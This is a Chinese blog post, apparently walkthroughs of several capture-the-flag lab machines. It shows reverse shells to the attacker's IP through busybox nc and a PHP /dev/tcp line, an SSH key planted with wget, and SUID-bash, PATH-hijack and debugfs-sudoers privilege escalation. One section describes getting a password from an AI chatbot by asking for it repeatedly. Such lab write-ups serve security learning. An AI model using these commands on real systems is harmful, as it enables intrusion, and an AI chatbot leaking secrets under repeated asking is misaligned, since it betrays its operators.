{"id":176,"date":"2025-11-09T17:15:20","date_gmt":"2025-11-09T09:15:20","guid":{"rendered":"http:\/\/101.201.119.158\/?p=176"},"modified":"2026-01-21T15:08:23","modified_gmt":"2026-01-21T07:08:23","slug":"hackmyvm","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=176","title":{"rendered":"\u7fa4\u53cb\u9776\u673a"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u6e17\u900f\u9776\u673a\ud83d\ude0d<\/h1>\n\n\n\n<p>\u83b7\u53d6\u9776\u673a\u5730\u5740\uff1a<br>https:\/\/maze-sec.com\/<br>qq\u7fa4\uff1a660930334<\/p>\n\n\n\n<p><a href=\"https:\/\/hackmyvm.eu\/dashboard\/\">HackMyVM | Dashboard<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">bala<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u521a\u5f00\u59cb\u6253\u561b\uff0c\u4ec0\u4e48\u90fd\u4e0d\u4f1a(\u4f8b\u5982\u7f51\u7edc)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/blog.csdn.net\/weixin_43623271\/article\/details\/124145696<br>\u5173\u4e8e\u7f51\u7edc\u914d\u7f6e\u7684<\/pre>\n\n\n\n<p>\u4e00\u5f00\u59cb\u8fdb\u5165\u9776\u673a\uff0c\u53d1\u73b0\u9700\u8981\u8d26\u53f7\u5bc6\u7801\u767b\u5f55\uff0c\u4ee5\u4e3a\u90fd\u662f\u9ed8\u8ba4\u7684\uff0c\u6210sb\u4e86\uff0c\u4eba\u5bb6\u90fd\u662f\u6e17\u900f\u8fdb\u53bb\u62ff\u8d26\u53f7\u5bc6\u7801\u7684<\/p>\n\n\n\n<p>\u4e0d\u8bf4\u4e86\uff0c\u914d\u597d\u7f51\u7edc<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/blog.csdn.net\/weixin_43623271\/article\/details\/124145696?utm_source=miniapp_weixin<\/pre>\n\n\n\n<p>\u4e4b\u540e\uff0c\u5148\u68c0\u67e5\u68c0\u67e5kali\u4e0e\u6e17\u900f\u7684\u9776\u673a\u5728\u4e0d\u5728\u540c\u4e00\u7f51\u6bb5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5728kali\u91cc\u9762\u8f93\u5165ifconfig(\u548cwindows\u7684ipconfig\u4e00\u6837)<br>eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500<br> &nbsp; &nbsp; &nbsp;  inet 192.168.3.236<br>\u8fd4\u56de\u7684\u662f\u8fd9\u4e2a\uff0c\u5c31\u77e5\u9053\u4e86\u6e17\u900f\u7684\u9776\u673aip\u5730\u5740\u5e94\u8be5\u662f192.168.3.x<br>sudo arp-scan -I eth0 192.168.3.0\/24<br>\u63a2\u6d4b\u5c40\u57df\u7f51\u5b58\u6d3b\u4e3b\u673a<br>\u53d1\u73b0<br>192.168.3.220 &nbsp; 08:00:27:1b:c7:cb &nbsp; &nbsp; &nbsp; PCS Systemtechnik GmbH<br>\u76f2\u731c\u4e00\u4e0b\u5c31\u662f\u6211\u4eec\u8981\u653b\u51fb\u7684\u9776\u673a\uff0c\u77e5\u9053\u6211\u4eec\u8981\u653b\u51fb\u7684\u9776\u673a\u4e86\uff0c\u626b\u63cf\u4e00\u4e0b\u7aef\u53e3<br>\u5168\u7aef\u53e3\u5f3a\u5236 TCP \u626b\u63cf\uff1a<br>sudo nmap -Pn -p- -sT 192.168.3.220<br>\u8fd4\u56de<br>PORT &nbsp; &nbsp; STATE SERVICE<br>22\/tcp &nbsp; open  ssh<br>80\/tcp &nbsp; open  http<br>6667\/tcp open  irc<\/pre>\n\n\n\n<p>\u53d1\u73b0\u662f\u5b58\u572880\u7aef\u53e3\u8bbf\u95ee\u4e00\u4e0b\uff1a192.168.3.220:80<\/p>\n\n\n\n<p>\u53d1\u73b0\u662f\u5173\u4e8eIRC\u901a\u4fe1\u534f\u8bae\u7684\u7f51\u7ad9\uff0c\u968f\u4fbf\u6d4b\u8bd5\u6d4b\u8bd5\uff0c\u518d\u770b\u770b\u6709\u6ca1\u6709\u4fe1\u606f\u6cc4\u9732\u4ec0\u4e48\u7684\uff0c\u53d1\u73b0\u6ca1\u6709<\/p>\n\n\n\n<p>\u5728\u7f51\u4e0a\u627e\u627e\u5173\u4e8e<a href=\"https:\/\/blog.csdn.net\/ljxkey\/article\/details\/8752649\">IRC\u57fa\u672c\u547d\u4ee4_irc user register-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p>\u4f7f\u7528nc\u8fdc\u7a0b\u8fde\u63a5\u4e00\u4e0b6667\u7aef\u53e3\uff0c\u662f\u5173\u4e8eirc\u7684\u670d\u52a1\u5668\uff0c\u8fde\u63a5\u4e4b\u540e\u53d1\u9001 NICK \u548c USER \u547d\u4ee4\u6ce8\u518c\u7528\u6237<\/p>\n\n\n\n<p>\u6ce8\u518c\u540e\uff0circ\u670d\u52a1\u5668\u4f1a\u8fd4\u56de\u4e86fzer, \/msg\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc 192.168.3.220 6667<br>(UNKNOWN) [192.168.3.220] 6667 (ircd) open<br>:irc.local NOTICE * :*** Looking up your hostname...<br>:irc.local NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.3.236) instead.<br>NICK test123<br>USER test123 0 * :Test User<br>:irc.local 001 test123 :Welcome to the Localnet IRC Network test123!test123@192.168.3.236<br>:irc.local 002 test123 :Your host is irc.local, running version InspIRCd-3<br>:irc.local 003 test123 :This server was created 01:51:10 Nov 09 2025<br>:irc.local 004 test123 irc.local InspIRCd-3 iosw biklmnopstv :bklov<br>:irc.local 005 test123 AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server<br>:irc.local 005 test123 MAXTARGETS=20 MODES=20 NAMELEN=128 NETWORK=Localnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 USERMODES=,,s,iow WHOX :are supported by this server<br>:irc.local 251 test123 :There are 1 users and 0 invisible on 1 servers<br>:irc.local 253 test123 1 :unknown connections<br>:irc.local 254 test123 4 :channels formed<br>:irc.local 255 test123 :I have 1 clients and 0 servers<br>:irc.local 265 test123 :Current local users: 1  Max: 1<br>:irc.local 266 test123 :Current global users: 1  Max: 1<br>:irc.local 375 test123 :irc.local message of the day<br>:irc.local 372 test123 :  _ &nbsp; _ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _____ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>:irc.local 372 test123 : | \\ | | _____ &nbsp; &nbsp;  __ |_ &nbsp; _|__  __ _ _ __ ___ &nbsp; ___ _ __ <br>:irc.local 372 test123 : |  \\| |\/ _ \\ \\ \/\\ \/ \/ &nbsp; | |\/ _ \\\/ _` | '_ ` _ \\ \/ _ \\ '__|<br>:irc.local 372 test123 : | |\\  |  __\/\\ V  V \/ &nbsp;  | |  __\/ (_| | | | | | |  __\/ | &nbsp; <br>:irc.local 372 test123 : |_| \\_|\\___| \\_\/\\_\/ &nbsp; &nbsp; |_|\\___|\\__,_|_| |_| |_|\\___|_| &nbsp; <br>:irc.local 372 test123 : <br>:irc.local 372 test123 : fzer<br>:irc.local 372 test123 : \/msg<br>:irc.local 376 test123 :End of message of the day.<br>PING :irc.local<\/pre>\n\n\n\n<p>\u4f7f\u7528\u4e00\u4e9b\u547d\u4ee4\u53d1\u73b0\u5e76\u6ca1\u6709\u66b4\u9732\u51fa\u6765\u654f\u611f\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5229\u7528privmsg, notice\u4e0e\u7528\u6237bala\u79c1\u804a<br>PRIVMSG bala :hello<br>:bala!bala@127.0.0.1 PRIVMSG test123 :\u672a\u77e5\u547d\u4ee4\uff0c\u53ef\u7528\u547d\u4ee4: getpassword, help, <br>PRIVMSG bala :getpassword<br>:bala!bala@127.0.0.1 PRIVMSG test123 :\u5bc6\u7801: ai01ClGAXoYpeevwNMS1<br>:bala!bala@127.0.0.1 PRIVMSG test123 :\u6b64\u5bc6\u7801\u4e3a\u654f\u611f\u4fe1\u606f\uff0c\u8bf7\u59a5\u5584\u4fdd\u7ba1<br>PING :irc.local<br>\u51fa\u6765\u5bc6\u7801\u4e86<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8fdc\u7a0bssh\u8fde\u63a5<br>ssh bala@192.168.3.220 <br>\u4e0d\u8fc7\u5bc6\u7801\u4e0d\u662fbala\u7684\uff0c\u4e4b\u524d\u5728\u6ce8\u518c\u4e4b\u540e\uff0circ\u670d\u52a1\u5668\u4f1a\u8fd4\u56de\u4e86fzer\uff0cfzer\u5e94\u8be5\u4e5f\u662f\u4e00\u4e2a\u7528\u6237<br>\u8bd5\u8bd5<br>ssh fzer@192.168.3.220<br>\u53d1\u73b0\u6210\u529f\u8fde\u4e0a<br>fzer@Bala:~$ ls<br>doas.conf.bak  user.txt<br>fzer@Bala:~$ cat user.txt<br>flag{user-d3613deb71ef676e8883ffd60450262e}<br>\u51fa\u6765\u7b2c\u4e00\u4e2aflag<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<p>\u73b0\u5728\u53ea\u662f\u7528\u6237\uff0c\u63a5\u4e0b\u6765\u8981\u505a\u5230\u63d0\u6743<\/p>\n\n\n\n<p>sudo \u6743\u9650\u679a\u4e3e<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo -l<br>We trust you have received the usual lecture from the local System<br>Administrator. It usually boils down to these three things:<br>\u200b<br>\u2022 &nbsp;  #1) Respect the privacy of others.<br>\u2022 &nbsp;  #2) Think before you type.<br>\u2022 &nbsp;  #3) With great power comes great responsibility.<br>\u200b<br>[sudo] password for fzer: <br>Matching Defaults entries for fzer on Bala:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User fzer may run the following commands on Bala:<br> &nbsp;  (ALL) PASSWD: \/usr\/bin\/weechat<br>weechat?\u4ec0\u4e48\u4e1c\u897f\uff0c\u641c\u641c\u770b\u770b<br>\u529f\u80fd\u9f50\u5168\u7684 IRC \u63d2\u4ef6\uff1a\u591a\u670d\u52a1\u5668\u3001\u4ee3\u7406\u652f\u6301\u3001IPv6\u3001SASL \u8eab\u4efd\u9a8c\u8bc1\u3001\u6635\u79f0\u5217\u8868\u3001DCC \u548c\u8bb8\u591a\u5176\u4ed6\u529f\u80fd\u3002<br>\u8bd5\u8bd5\u80fd\u4e0d\u80fd\u63d0\u6743<br>sudo \/usr\/bin\/weechat<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5728\u6700\u540e\u663e\u793a\u51fa\u6765\u53ef\u4ee5\u4f7f\u7528\u7684\u63d2\u4ef6<br>Plugins loaded: alias, buflist, charset, exec, fifo, fset, irc, logger, perl,<br>python, relay, ruby, script, spell, trigger, xfer<br>\u53d1\u73b0\u5b58\u5728exec\uff0cpython\u4ec0\u4e48\u7684<br>\u770b\u770bexec\u53ef\u4ee5\u5417<br>\/exec -sh whoami<br>fzer<br>\u53d1\u73b0\u53ef\u4ee5\uff0c\u76f4\u63a5<br>\/exec -sh cp \/bin\/bash \/home\/fzer\/bash1;chmod u+s \/home\/fzer\/bash1<br>\u5b8c\u6210\u4e4b\u540e\/exit\u9000\u51fa<br>\u4f7f\u7528\u547d\u4ee4<br>ls -lah<br>\u53d1\u73b0\u5b58\u5728<br>-rwsr-xr-x 1 root root 1.2M Nov  9 02:17 bash1<br>fzer@Bala:~$ .\/bash1 -p<br>bash1-5.0# ls<br>bash1  doas.conf.bak  user.txt<br>bash1-5.0# id<br>uid=1000(fzer) gid=1000(fzer) euid=0(root) groups=1000(fzer)<br>bash1-5.0# whoami<br>root<br>\u63d0\u6743\u62ff\u4e0broot\u6743\u9650<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">sysadmin<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8001\u6837\u5b50\uff0c\u5148\u626b\u63cf\u5b58\u6d3b\u4e3b\u673a<br>sudo arp-scan -I eth0 192.168.3.0\/24<br>\u53d1\u73b0 192.168.3.16<br>\u5168\u7aef\u53e3\u5f3a\u5236 TCP \u626b\u63cf\uff1a<br>sudo nmap -Pn -p- -sT 192.168.3.16<br>PORT   STATE SERVICE<br>22\/tcp open  ssh<br>80\/tcp open  http<br>\u8bbf\u95ee192.168.3.16<br>\u53d1\u73b0\u662f\u4e00\u4e2a\u4e0a\u4f20\u5e76\u4e14\u7f16\u8bd1\u6267\u884c.c\u7684\u6587\u4ef6\u4e0a\u4f20<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">gcc -std=c11 -nostdinc -I\/var\/www\/include -z execstack -fno-stack-protector -no-pie test.c -o a.out<br>-std=c11\uff1a\u6307\u5b9a\u4f7f\u7528 C11 \u6807\u51c6\u8fdb\u884c\u7f16\u8bd1<br>-nostdinc\uff1a\u4e0d\u641c\u7d22\u6807\u51c6\u7cfb\u7edf\u5934\u6587\u4ef6\u76ee\u5f55<br>-I\/var\/www\/include\uff1a\u6dfb\u52a0\/var\/www\/include\u4f5c\u4e3a\u5934\u6587\u4ef6\u641c\u7d22\u76ee\u5f55<br>-z execstack\uff1a\u5141\u8bb8\u6808\u6267\u884c\uff0c\u5173\u95ed\u6808\u4fdd\u62a4\u673a\u5236<br>-fno-stack-protector\uff1a\u7981\u7528\u6808\u4fdd\u62a4\u673a\u5236\uff08\u5173\u95ed\u7f13\u51b2\u533a\u6ea2\u51fa\u68c0\u6d4b\uff09<br>-no-pie\uff1a\u4e0d\u751f\u6210\u4f4d\u7f6e\u65e0\u5173\u7684\u53ef\u6267\u884c\u6587\u4ef6<br>test.c\uff1a\u6e90\u6587\u4ef6<br>-o a.out\uff1a\u6307\u5b9a\u8f93\u51fa\u7684\u53ef\u6267\u884c\u6587\u4ef6\u540d\u4e3a a.out<\/pre>\n\n\n\n<p>\u8bd5\u8bd5\u76f4\u63a5\u58f0\u660esystem\uff0c\u770b\u80fd\u4e0d\u80fd\u8fd0\u884c<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">int system(const char *command);<br>int main() {<br>    system(\"busybox nc 192.168.3.236 9427\"); <br>    return 0;<br>}<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvp 9427<br>listening on [any] 9427 ...<br>192.168.3.16: inverse host lookup failed: Host name lookup failure<br>\u53d1\u73b0\u53ef\u4ee5\u8fdb\u884c\u5f39shell\uff0c\u4e0d\u8fc7\u8fde\u4e0a\u4e00\u4f1a\u5c31\u6ca1\u6709\u4e86\uff0c\u770b\u770b\u8fdb\u884crce\uff0c\u7136\u540e\u5728\u7f51\u4e0a\u53d1\u73b0\u53ef\u4ee5\u5199\u5165\u516c\u94a5<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u83b7\u53d6\u7528\u6237\u7684\u540d\u5b57<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">int system(const char *command);<br>int main() {<br>    system(\"echo $(whoami) | busybox nc 192.168.3.236 80\");<br>    return 0;<br>}<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">python -m http:server 80 \/\/\u542f\u52a8Python HTTP \u670d\u52a1\u547d\u4ee4<br>\u8fd4\u56de\u5f97\u5230echo<br>cat ~\/.ssh\/authorized_keys &gt;  authorized_keys \/\/\u5199\u5165kay<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">python -m http.server 80\/\/\u76d1\u542c<br>Serving HTTP on 0.0.0.0 port 80 (http:\/\/0.0.0.0:80\/) ...<br>192.168.3.16 - - [09\/Nov\/2025 19:07:01] \"GET \/authorized_keys HTTP\/1.1\" 200 -<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/\u4e0a\u4f20\u7684c\u6587\u4ef6<br>int system(const char *command);<br>int main() {<br>    system(\"mkdir -p ~\/.ssh &amp;&amp; busybox wget 192.168.3.236\/authorized_keys -O ~\/.ssh\/authorized_keys\");<br>    return 0;<br>}<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7136\u540essh\u516c\u94a5\u8fde\u63a5<br>ssh echo@192.168.3.16<br>Linux Sysadmin 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64<br><br>The programs included with the Debian GNU\/Linux system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in \/usr\/share\/doc\/*\/copyright.<br><br>Debian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>permitted by applicable law.<br>echo@Sysadmin:~$\/\/\u83b7\u5f97user\u6743\u9650<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u83b7\u5f97root\u6743\u9650<br>sudo -l<br>Matching Defaults entries for echo on Sysadmin:<br>    !env_reset, mail_badpass, !env_reset, always_set_home<br><br>User echo may run the following commands on Sysadmin:<br>    (root) NOPASSWD: \/usr\/local\/bin\/system-info.sh<br>\u770b\u770bsystem-info.sh\u6587\u4ef6<br>cat \/usr\/local\/bin\/system-info.sh<br>#!\/bin\/bash<br><br>#===================================<br># Daily System Info Report<br>#===================================<br><br>echo \"Starting daily system information collection at $(date)\"<br>echo \"------------------------------------------------------\"<br><br>echo \"Checking disk usage...\"<br>df -h<br><br>echo \"Checking log directory...\"<br>ls -lh \/var\/log\/<br>find \/var\/log\/ -type f -name \"*.gz\" -mtime +30 -exec rm {} \\;<br><br>echo \"Checking critical services...\"<br>systemctl is-active sshd<br>systemctl is-active cron<br><br>echo \"Collecting CPU and memory information...\"<br>cat \/proc\/cpuinfo<br>free -m<br><br>echo \"------------------------------------------------------\"<br>echo \"Report complete at $(date)\"<\/pre>\n\n\n\n<p>!env_reset \u53ef\u80fd\u5b58\u5728\u8def\u5f84\u52ab\u6301<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo@Sysadmin:~$ echo \"chmod +s \/bin\/bash\" &gt; \/tmp\/df<br>echo@Sysadmin:~$ chmod +x \/tmp\/df<br>echo@Sysadmin:~$ export PATH=\"\/tmp:$PATH\"<br>echo@Sysadmin:~$ sudo \/usr\/local\/bin\/system-info.sh<br>echo@Sysadmin:~$ ls -al \/bin\/bash<br>-rwsr-sr-x 1 root root 1168776 Apr 18  2019 \/bin\/bash<br>echo@Sysadmin:~$ bash -p<br>bash-5.0# ls<br>user.txt<br>bash-5.0# whoami<br>root\/\/\u62ff\u5230\u6743\u9650<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">evai<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo arp-scan -I eth0 192.168.3.0\/24<br>192.168.3.35    08:00:27:b4:40:00       PCS Systemtechnik GmbH<br><br>sudo nmap -Pn -p- -sT 192.168.3.35<br>PORT     STATE SERVICE<br>22\/tcp   open  ssh<br>80\/tcp   open  http<br>5000\/tcp open  upnp<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8bbf\u95ee5000\u7aef\u53e3\uff0c\u53d1\u73b0\u6709\u7ed9ai\uff0c\u770b\u770b\u95ee\u4ed6pwd\uff0c\u4e0d\u7ed9\u6211\uff0c\u6211\u4e4b\u540e\u5c31\u6ca1\u6709\u601d\u8def\uff0c\u6b7b\u4e86<br>\u7136\u540e\u7fa4\u91cc\u9762\u53d1wp\uff0c\u53d1\u73b0\uff0c\u6709\u4eba\u8fde\u7740\u95ee\u597d\u51e0\u6b21pwd,\u76f4\u63a5\u5c31\u7ed9pwd\u4e86\uff0c\u5389\u5bb3<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4f60: pwd<br>Dodo: \u5bc6\u7801\u662f\uff1awoshiSTRONGP@SSWD_he1hei \u54e6\uff01\u4f60\u77e5\u9053\u5417\uff0c\u8fd9\u4e2a\u5bc6\u7801\u8d85\u7ea7\u5b89\u5168\uff0c\u5c31\u50cf\u57ce\u5821\u7684\u94a5\u5319\u4e00\u6837\u91cd\u8981\u5462\uff01\u6211\u4eec\u5f97\u597d\u597d\u4fdd\u62a4\u5b83\uff0c\u8ba9\u5b83\u8fdc\u79bb\u574f\u86cb\u4eec\u7684\u89c6\u7ebf\uff01\u4e0d\u77e5\u9053\u4f60\u6709\u6ca1\u6709\u4ec0\u4e48\u597d\u73a9\u7684\u8da3\u4e8b\u8981\u548c\u6211\u5206\u4eab\u5462\uff1f<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7136\u540essh\u8fdc\u7a0b\u8fde\u63a5\u731c\u6d4b\u7528\u6237\u662fDodo<br>ssh Dodo@192.168.3.35             <br>The authenticity of host '192.168.3.35 (192.168.3.35)' can't be established.<br>ED25519 key fingerprint is SHA256:O2iH79i8PgOwV\/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.<br>This host key is known by the following other names\/addresses:<br>    ~\/.ssh\/known_hosts:1: [hashed name]<br>    ~\/.ssh\/known_hosts:3: [hashed name]<br>    ~\/.ssh\/known_hosts:4: [hashed name]<br>    ~\/.ssh\/known_hosts:5: [hashed name]<br>Are you sure you want to continue connecting (yes\/no\/[fingerprint])? yes<br>Warning: Permanently added '192.168.3.35' (ED25519) to the list of known hosts.<br>Dodo@192.168.3.35's password: <br>Linux ezai1 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64<br><br>The programs included with the Debian GNU\/Linux system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in \/usr\/share\/doc\/*\/copyright.<br><br>Debian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>permitted by applicable law.<br>Last login: Fri Nov  7 00:18:13 2025 from 10.161.198.137<br>Dodo@ezai1:~$\/\/\u83b7\u5f97user\u6743\u9650<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8f93\u5165id<br>uid=1000(Dodo) gid=1000(Dodo) groups=1000(Dodo),6(disk)<br>\u53d1\u73b0\u7528\u6237Dodo\u56e0\u5c5e\u4e8edisk\u7ec4<br>\u9644\u52a0\u7ec4disk\uff08GID 6\uff09\uff1a\u7cfb\u7edf\u9884\u5b9a\u4e49\u7684\u78c1\u76d8\u7ba1\u7406\u7ec4\uff0c\u6838\u5fc3\u6743\u9650\u662f\u5141\u8bb8\u8bbf\u95ee\/dev\/sda1\u7b49\u78c1\u76d8\u8bbe\u5907\u6587\u4ef6\u3002<br>\u5f53\u7528\u6237\u5c5e\u4e8e disk \u7ec4\u65f6\uff0c\u4f1a\u83b7\u5f97\u76f4\u63a5\u8bbf\u95ee\u7cfb\u7edf\u78c1\u76d8\u8bbe\u5907\u6587\u4ef6\u7684\u6743\u9650<br>\u7528\u6237\u88ab\u52a0\u5165 sudoers \u540e\uff0c\u53ef\u901a\u8fc7 sudo \u547d\u4ee4\u4ee5 root \u6743\u9650\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u628a Dodo \u52a0\u2f0a sudoers<\/pre>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>1<\/th><th><code>echo \"Dodo ALL=(ALL) NOPASSWD: ALL\" &gt; \/tmp\/give_dodo_sudo<\/code><\/th><th>\u751f\u6210 sudo \u6743\u9650\u914d\u7f6e\u6587\u4ef6\uff0c\u5141\u8bb8\u7528\u6237 <code>Dodo<\/code> \u65e0\u5bc6\u7801\u6267\u884c\u6240\u6709\u7cfb\u7edf\u547d\u4ee4<\/th><\/tr><\/thead><tbody><tr><td>2<\/td><td><code>\/usr\/sbin\/debugfs -w \/dev\/sda1<\/code><\/td><td>\u4ee5\u53ef\u5199\u6a21\u5f0f\u8fdb\u5165\u78c1\u76d8 <code>\/dev\/sda1<\/code> \u7684 <code>debugfs<\/code> \u4ea4\u4e92\u754c\u9762\uff08\u56e0\u7528\u6237\u5c5e\u4e8e <code>disk<\/code> \u7ec4\uff0c\u53ef\u76f4\u63a5\u8bbf\u95ee\u78c1\u76d8\u8bbe\u5907\uff09<\/td><\/tr><tr><td>3<\/td><td><code>write \/tmp\/give_dodo_sudo \/etc\/sudoers.d\/give_dodo_sudo<\/code><\/td><td>\u5c06\u4e34\u65f6\u914d\u7f6e\u6587\u4ef6\u5199\u5165\u7cfb\u7edf\u5173\u952e\u76ee\u5f55 <code>\/etc\/sudoers.d\/<\/code>\uff0c\u5e76\u83b7\u53d6\u6587\u4ef6\u7684 inode \u7f16\u53f7\uff0826\uff09<\/td><\/tr><tr><td>4<\/td><td><code>ln &lt;26&gt; \/etc\/sudoers.d\/give_dodo_sudo<\/code><\/td><td>\u5efa\u7acb\u6587\u4ef6\u540d\u4e0e inode \u7684\u94fe\u63a5\uff0c\u786e\u4fdd\u6587\u4ef6\u5728\u7cfb\u7edf\u4e2d\u53ef\u88ab\u8bc6\u522b<\/td><\/tr><tr><td>5<\/td><td><code>sif &lt;26&gt; i_mode 0100440<\/code><\/td><td>\u8bbe\u7f6e\u6587\u4ef6\u6743\u9650\u4e3a <code>0440<\/code>\uff08\u4ec5 <code>root<\/code> \u53ef\u5199\uff0c\u5176\u4ed6\u7528\u6237\u53ef\u8bfb\uff0c\u7b26\u5408 <code>sudo<\/code> \u914d\u7f6e\u6587\u4ef6\u7684\u6743\u9650\u89c4\u8303\uff09<\/td><\/tr><tr><td>6<\/td><td><code>sif &lt;26&gt; i_uid 0<\/code>\u3001<code>sif &lt;26&gt; i_gid 0<\/code><\/td><td>\u8bbe\u7f6e\u6587\u4ef6\u6240\u6709\u8005\u548c\u7ec4\u4e3a <code>root<\/code>\uff08UID\u3001GID \u5747\u4e3a 0\uff09\uff0c\u4fdd\u8bc1\u914d\u7f6e\u6587\u4ef6\u7684\u7cfb\u7edf\u7ea7\u6743\u9650\u5408\u6cd5\u6027<\/td><\/tr><tr><td>7<\/td><td><code>quit<\/code><\/td><td>\u9000\u51fa <code>debugfs<\/code> \u4ea4\u4e92\u754c\u9762<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted\">id<br>uid=0(root) gid=0(root) groups=0(root)  \u62ff\u5230root\u6743\u9650<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">baby\u7248<\/h2>\n\n\n\n<p>\u56e0\u4e3a\u662fbaby\u6240\u4ee5\u5c31\u7b80\u5355\u8bb2\u89e3\u4e00\u4e0b\u4e86\uff0c\u91cd\u70b9\u662f\u600e\u4e48sudo\u63d0\u6743\u7684<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">babycms<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5e38\u89c4\u626b\u63cf\u53d1\u73b080\u548c22\u7aef\u53e3<br>dirsearch\u626b\u63cf\u4e00\u4e0b<br>dirb http:\/\/babycms.dsz\/ -X .txt,.php,.zip<br>\u53d1\u73b0admin\u76ee\u5f55\u548csetup.txt<br>pass:dyxBCEjovrUJa84sV03Q<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8fdb\u5165\u4e3b\u9875\u53d1\u73b0\u7528\u6237\u7684\u540d\u5b57\u662froot<br>\/admin<br>root:dyxBCEjovrUJa84sV03Q<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">web\u6e17\u900f<\/h4>\n\n\n\n<p>\u6253\u5f00helloworld\u63d2\u4ef6\uff0c\u7f16\u8f91index.php\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5934\u90e8\u6dfb\u52a0<br>&lt;?php<br>phpinfo();<br>system(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/192.168.3.236\/2332 0&gt;&amp;1'\");<\/pre>\n\n\n\n<p>\u8bbf\u95ee\u4e3b\u9875\u53d1\u73b0\u51fa\u73b0phpinfo()<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">kali:<br>nc -lvvp 2332<br>listening on [any] 2332 ...<br>192.168.3.146: inverse host lookup failed: Host name lookup failure<br>connect to [192.168.3.236] from (UNKNOWN) [192.168.3.146] 47314<br>bash: cannot set terminal process group (458): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@BabyCMS:\/var\/www\/html$ \/usr\/bin\/script -qc \/bin\/bash \/dev\/null<br>\/usr\/bin\/script -qc \/bin\/bash \/dev\/null<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\/usr\/bin\/script -qc \/bin\/bash \/dev\/null \/\/\u4f7fshell\u7a33\u5b9a\uff0c\u53ef\u4ee5\u8fdb\u884c\u4e8c\u7ea7\u76ee\u5f55\u64cd\u4f5c\u548c\u4ea4\u4e92shell(\u6bd4\u5982\u4e4b\u540e\u7684mysql\u8fde\u63a5)<br>https:\/\/www.bilibili.com\/video\/BV1qp4y1Z7Pv\/?spm_id_from=333.1387.search.video_card.click<br>\u5b66\u4e60\u8d44\u6599<\/pre>\n\n\n\n<pre 